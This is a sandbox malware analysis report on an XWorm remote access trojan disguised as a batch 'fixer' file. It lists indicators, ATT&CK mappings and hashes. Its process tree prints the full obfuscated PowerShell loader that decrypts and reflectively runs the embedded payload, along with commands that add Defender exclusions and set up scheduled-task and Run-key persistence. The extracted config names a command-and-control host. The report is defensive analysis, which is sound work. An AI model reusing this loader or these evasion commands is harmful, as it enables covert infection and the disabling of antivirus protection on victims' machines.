xworm | 6f034eb0b11a9b60901ee3a5f1329ab44bec65519b178ee16d39b40ccad6d2f8

Analysis

max time kernel
415s
max time network
2587s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
12-11-2024 06:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

NLHybrid Fixer NEW.bat
Size

291KB
MD5

1fea40d9d1f41390edb7d9e52c4b33bf
SHA1

e125f47d3575a28b507855c0c9a57b030a45d9a3
SHA256

6f034eb0b11a9b60901ee3a5f1329ab44bec65519b178ee16d39b40ccad6d2f8
SHA512

084d39f3f6edff152d35edec85a2795bef66cc30a98cfb89ba4b12bfec3ccaf1f3b97cf968245a41b76a0ff5bc0bf4f242b9937dbf3a6addaad41005cac0ce39
SSDEEP

6144:0IA1KNGYo86ChkxOZyt7dTEe4dFVBOovjL+/MDYwbwGpxsB:0IAZYx6CnZyBhKdFOorJhl+

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

request-rapidly.gl.at.ply.gg:56303

Mutex

YN2uqOclkhFcLZBm

Attributes

Install_directory
%Userprofile%
install_file
win64updater.exe

aes.plain

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral2/memory/2316-14-0x000002302C280000-0x000002302C2BE000-memory.dmp	family_xworm
behavioral2/memory/2016-51-0x000002A4B1580000-0x000002A4B1590000-memory.dmp	family_xworm
behavioral2/files/0x0033000000023b72-54.dat	family_xworm
behavioral2/memory/2088-62-0x0000000000300000-0x0000000000310000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	2016	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2316	powershell.exe
1472	powershell.exe
2016	powershell.exe
2284	powershell.exe
2508	powershell.exe
5088	powershell.exe
4704	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win64updater.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win64updater.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2088	NLHybrid Fixer NEW.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\win64updater = "C:\\Users\\Admin\\win64updater.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2720	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2932	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2016	powershell.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
2316	powershell.exe
2316	powershell.exe
1472	powershell.exe
1472	powershell.exe
2016	powershell.exe
2016	powershell.exe
2284	powershell.exe
2284	powershell.exe
2508	powershell.exe
2508	powershell.exe
5088	powershell.exe
5088	powershell.exe
4704	powershell.exe
4704	powershell.exe
2016	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeIncreaseQuotaPrivilege	1472	powershell.exe
Token: SeSecurityPrivilege	1472	powershell.exe
Token: SeTakeOwnershipPrivilege	1472	powershell.exe
Token: SeLoadDriverPrivilege	1472	powershell.exe
Token: SeSystemProfilePrivilege	1472	powershell.exe
Token: SeSystemtimePrivilege	1472	powershell.exe
Token: SeProfSingleProcessPrivilege	1472	powershell.exe
Token: SeIncBasePriorityPrivilege	1472	powershell.exe
Token: SeCreatePagefilePrivilege	1472	powershell.exe
Token: SeBackupPrivilege	1472	powershell.exe
Token: SeRestorePrivilege	1472	powershell.exe
Token: SeShutdownPrivilege	1472	powershell.exe
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeSystemEnvironmentPrivilege	1472	powershell.exe
Token: SeRemoteShutdownPrivilege	1472	powershell.exe
Token: SeUndockPrivilege	1472	powershell.exe
Token: SeManageVolumePrivilege	1472	powershell.exe
Token: 33	1472	powershell.exe
Token: 34	1472	powershell.exe
Token: 35	1472	powershell.exe
Token: 36	1472	powershell.exe
Token: SeIncreaseQuotaPrivilege	1472	powershell.exe
Token: SeSecurityPrivilege	1472	powershell.exe
Token: SeTakeOwnershipPrivilege	1472	powershell.exe
Token: SeLoadDriverPrivilege	1472	powershell.exe
Token: SeSystemProfilePrivilege	1472	powershell.exe
Token: SeSystemtimePrivilege	1472	powershell.exe
Token: SeProfSingleProcessPrivilege	1472	powershell.exe
Token: SeIncBasePriorityPrivilege	1472	powershell.exe
Token: SeCreatePagefilePrivilege	1472	powershell.exe
Token: SeBackupPrivilege	1472	powershell.exe
Token: SeRestorePrivilege	1472	powershell.exe
Token: SeShutdownPrivilege	1472	powershell.exe
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeSystemEnvironmentPrivilege	1472	powershell.exe
Token: SeRemoteShutdownPrivilege	1472	powershell.exe
Token: SeUndockPrivilege	1472	powershell.exe
Token: SeManageVolumePrivilege	1472	powershell.exe
Token: 33	1472	powershell.exe
Token: 34	1472	powershell.exe
Token: 35	1472	powershell.exe
Token: 36	1472	powershell.exe
Token: SeIncreaseQuotaPrivilege	1472	powershell.exe
Token: SeSecurityPrivilege	1472	powershell.exe
Token: SeTakeOwnershipPrivilege	1472	powershell.exe
Token: SeLoadDriverPrivilege	1472	powershell.exe
Token: SeSystemProfilePrivilege	1472	powershell.exe
Token: SeSystemtimePrivilege	1472	powershell.exe
Token: SeProfSingleProcessPrivilege	1472	powershell.exe
Token: SeIncBasePriorityPrivilege	1472	powershell.exe
Token: SeCreatePagefilePrivilege	1472	powershell.exe
Token: SeBackupPrivilege	1472	powershell.exe
Token: SeRestorePrivilege	1472	powershell.exe
Token: SeShutdownPrivilege	1472	powershell.exe
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeSystemEnvironmentPrivilege	1472	powershell.exe
Token: SeRemoteShutdownPrivilege	1472	powershell.exe
Token: SeUndockPrivilege	1472	powershell.exe
Token: SeManageVolumePrivilege	1472	powershell.exe
Token: 33	1472	powershell.exe
Token: 34	1472	powershell.exe
Token: 35	1472	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2016	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2708 wrote to memory of 2316	2708	cmd.exe	87
PID 2708 wrote to memory of 2316	2708	cmd.exe	87
PID 2316 wrote to memory of 1472	2316	powershell.exe	88
PID 2316 wrote to memory of 1472	2316	powershell.exe	88
PID 2316 wrote to memory of 924	2316	powershell.exe	93
PID 2316 wrote to memory of 924	2316	powershell.exe	93
PID 924 wrote to memory of 1748	924	WScript.exe	94
PID 924 wrote to memory of 1748	924	WScript.exe	94
PID 1748 wrote to memory of 2016	1748	cmd.exe	97
PID 1748 wrote to memory of 2016	1748	cmd.exe	97
PID 2016 wrote to memory of 2088	2016	powershell.exe	98
PID 2016 wrote to memory of 2088	2016	powershell.exe	98
PID 2016 wrote to memory of 2284	2016	powershell.exe	100
PID 2016 wrote to memory of 2284	2016	powershell.exe	100
PID 2016 wrote to memory of 2508	2016	powershell.exe	102
PID 2016 wrote to memory of 2508	2016	powershell.exe	102
PID 2016 wrote to memory of 5088	2016	powershell.exe	104
PID 2016 wrote to memory of 5088	2016	powershell.exe	104
PID 2016 wrote to memory of 4704	2016	powershell.exe	106
PID 2016 wrote to memory of 4704	2016	powershell.exe	106
PID 2016 wrote to memory of 2932	2016	powershell.exe	110
PID 2016 wrote to memory of 2932	2016	powershell.exe	110
PID 2016 wrote to memory of 4944	2016	powershell.exe	112
PID 2016 wrote to memory of 4944	2016	powershell.exe	112
PID 2016 wrote to memory of 1536	2016	powershell.exe	114
PID 2016 wrote to memory of 1536	2016	powershell.exe	114
PID 1536 wrote to memory of 2720	1536	cmd.exe	116
PID 1536 wrote to memory of 2720	1536	cmd.exe	116

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer NEW.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/MG2yzBsbBxe5ojiX7EsFzCMNzEMTu/JvAdNvRWbX7w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RdyxlHFLWFg7quo490rAog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EZwTl=New-Object System.IO.MemoryStream(,$param_var); $GfwYq=New-Object System.IO.MemoryStream; $womrn=New-Object System.IO.Compression.GZipStream($EZwTl, [IO.Compression.CompressionMode]::Decompress); $womrn.CopyTo($GfwYq); $womrn.Dispose(); $EZwTl.Dispose(); $GfwYq.Dispose(); $GfwYq.ToArray();}function execute_function($param_var,$param2_var){ $vyNht=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $HvyAI=$vyNht.EntryPoint; $HvyAI.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer NEW.bat';$ugiUZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer NEW.bat').Split([Environment]::NewLine);foreach ($jBnrL in $ugiUZ) { if ($jBnrL.StartsWith(':: ')) { $PDvIC=$jBnrL.Substring(3); break; }}$payloads_var=[string[]]$PDvIC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_179_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_179.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1472
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_179.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:924
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_179.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1748
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/MG2yzBsbBxe5ojiX7EsFzCMNzEMTu/JvAdNvRWbX7w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RdyxlHFLWFg7quo490rAog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EZwTl=New-Object System.IO.MemoryStream(,$param_var); $GfwYq=New-Object System.IO.MemoryStream; $womrn=New-Object System.IO.Compression.GZipStream($EZwTl, [IO.Compression.CompressionMode]::Decompress); $womrn.CopyTo($GfwYq); $womrn.Dispose(); $EZwTl.Dispose(); $GfwYq.Dispose(); $GfwYq.ToArray();}function execute_function($param_var,$param2_var){ $vyNht=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $HvyAI=$vyNht.EntryPoint; $HvyAI.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_179.bat';$ugiUZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_179.bat').Split([Environment]::NewLine);foreach ($jBnrL in $ugiUZ) { if ($jBnrL.StartsWith(':: ')) { $PDvIC=$jBnrL.Substring(3); break; }}$payloads_var=[string[]]$PDvIC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2016
      - C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer NEW.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer NEW.exe"
        6⤵
        Executes dropped EXE
        
        PID:2088
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2284
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2508
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\win64updater.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5088
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'win64updater.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4704
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "win64updater" /tr "C:\Users\Admin\win64updater.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2932
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /delete /f /tn "win64updater"
        6⤵
        
        PID:4944
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp2B51.tmp.bat""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1536
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        7⤵
        Delays execution with timeout.exe
        
        PID:2720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
b51dc9e5ec3c97f72b4ca9488bbb4462

SHA1
5c1e8c0b728cd124edcacefb399bbd5e25b21bd3

SHA256
976f9534aa2976c85c2455bdde786a3f55d63aefdd40942eba1223c4c93590db

SHA512
0e5aa6cf64c535aefb833e5757b68e1094c87424abe2615a7d7d26b1b31eff358d12e36e75ca57fd690a9919b776600bf4c5c0e5a5df55366ba62238bdf3f280

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
df87d69dfbe30a72be8a41ba7020fdb1

SHA1
319245bb2ad6416d3435d2857a746e54408a9822

SHA256
964060b36bdbc812fdbc2c4efa24d60551e2f4b54a18384b1a21992246f0901e

SHA512
cc7ee4f7042dacaec0d978205d75b06a02af1ebcd0e92af76a25961375e59a771be14af93c25a26585000555b7de603e7658069814b21e418a96e56d7c62e7fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ee6f5f5e5924783870aeedeccdafe9da

SHA1
0e12ede20df5ec37f2bf3608ad1bc9b4649450fd

SHA256
ebf215446a1b5afa86e8ba4316bc99c6d7918acd595786a31e0e5974f4e0f416

SHA512
998bad1b069cb0e7a57edef247421e5d5bc0b4f071bd16e4260367e86ac62053168204abc850365bf6eb4f41b32568bea99eb9afda60e7746eff37e604cbe61f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
19e3446e5131ffc8654c075ae8beda24

SHA1
bc85831fdbfdf20f74929bbad25aeaddf8d1dfb1

SHA256
1b407adb428381b328c00a5dc3f2817cfa6a88f8d7566aea0ef2638ad05f611d

SHA512
6a190badc5d0f1b16a4b428336cf33d75a1169c526a3682611265b7f1d577632bbbd869db34f421cfb73a380dbabd539d41365921bec658746f58799bf323fc2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
dd1d0b083fedf44b482a028fb70b96e8

SHA1
dc9c027937c9f6d52268a1504cbae42a39c8d36a

SHA256
cab7944d29e0501dc0db904ac460ca7a87700e0ec7eb62298b7b97cbf40c424c

SHA512
96bec38bfda176292ae65dcf735103e7888baa212038737c1d1e215fcb76e4c0355e4a827a1934303e7aecae91012fa412f13e38f382b732758bae985cc67973

Download Submit
C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer NEW.exe

Filesize
42KB

MD5
8b21fb92607aca8f4ac65b7847de3ec5

SHA1
52e81900805a878a057942687b1ad56ff0d514b3

SHA256
852ef505e8e0e9e0d7d2779bcbdaa93bfedd4689d03a8b43fe7e50b82e8665ca

SHA512
3514308891d5357648fffd1a8f001c25ecb4af1dcb1203fbabcdfd97795fc192d00d58f09c756286e33eb59f96ca73fc878efc392164691a91dd21bfdbc10e9a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ceiwgme2.vxm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp2B51.tmp.bat

Filesize
171B

MD5
cb8c7fe7e07193d26f11a281cd39876c

SHA1
bf664b80a5617c771ebd3d23d0bfb91cb1817ee7

SHA256
1639445f2ed87d94ada44da81a87e63117c0291b2707ecdff86eaee8858e19eb

SHA512
26c0ae1ecc341efb1ba166f49804c3fcc30fbe1befb83a18e42a14cb7b1dbdc05e877f94c98039f57f45ff792f62a5b53bbcd311d3b93e9faa82813cf312fa20

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_179.bat

Filesize
291KB

MD5
1fea40d9d1f41390edb7d9e52c4b33bf

SHA1
e125f47d3575a28b507855c0c9a57b030a45d9a3

SHA256
6f034eb0b11a9b60901ee3a5f1329ab44bec65519b178ee16d39b40ccad6d2f8

SHA512
084d39f3f6edff152d35edec85a2795bef66cc30a98cfb89ba4b12bfec3ccaf1f3b97cf968245a41b76a0ff5bc0bf4f242b9937dbf3a6addaad41005cac0ce39

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_179.vbs

Filesize
115B

MD5
d23c7f2b0b72574dd7624d41a7f64e66

SHA1
ba540e64b1994b9840015d04669de0e19bc6503e

SHA256
4933bcb010d8f81a96086ffeb9254e465c0f7a88c93f53999e8a492645fdbcac

SHA512
fc9f60ebb14369ec01fcef0ba9fd015ffbe48aff3ae4cfdfc823e4684c32370e5ae39cfc3e0d6817f3b12cdee74d7430bfed20b935d35b884000ba315af72eba

Download Submit
memory/1472-16-0x00007FF9D5250000-0x00007FF9D5D11000-memory.dmp

Filesize
10.8MB

Download
memory/1472-30-0x00007FF9D5250000-0x00007FF9D5D11000-memory.dmp

Filesize
10.8MB

Download
memory/1472-18-0x00007FF9D5250000-0x00007FF9D5D11000-memory.dmp

Filesize
10.8MB

Download
memory/1472-17-0x00007FF9D5250000-0x00007FF9D5D11000-memory.dmp

Filesize
10.8MB

Download
memory/2016-51-0x000002A4B1580000-0x000002A4B1590000-memory.dmp

Filesize
64KB

Download
memory/2088-62-0x0000000000300000-0x0000000000310000-memory.dmp

Filesize
64KB

Download
memory/2316-14-0x000002302C280000-0x000002302C2BE000-memory.dmp

Filesize
248KB

Download
memory/2316-63-0x00007FF9D5250000-0x00007FF9D5D11000-memory.dmp

Filesize
10.8MB

Download
memory/2316-0-0x00007FF9D5253000-0x00007FF9D5255000-memory.dmp

Filesize
8KB

Download
memory/2316-13-0x0000023011D00000-0x0000023011D08000-memory.dmp

Filesize
32KB

Download
memory/2316-12-0x00007FF9D5250000-0x00007FF9D5D11000-memory.dmp

Filesize
10.8MB

Download
memory/2316-11-0x00007FF9D5250000-0x00007FF9D5D11000-memory.dmp

Filesize
10.8MB

Download
memory/2316-2-0x000002302C030000-0x000002302C052000-memory.dmp

Filesize
136KB

Download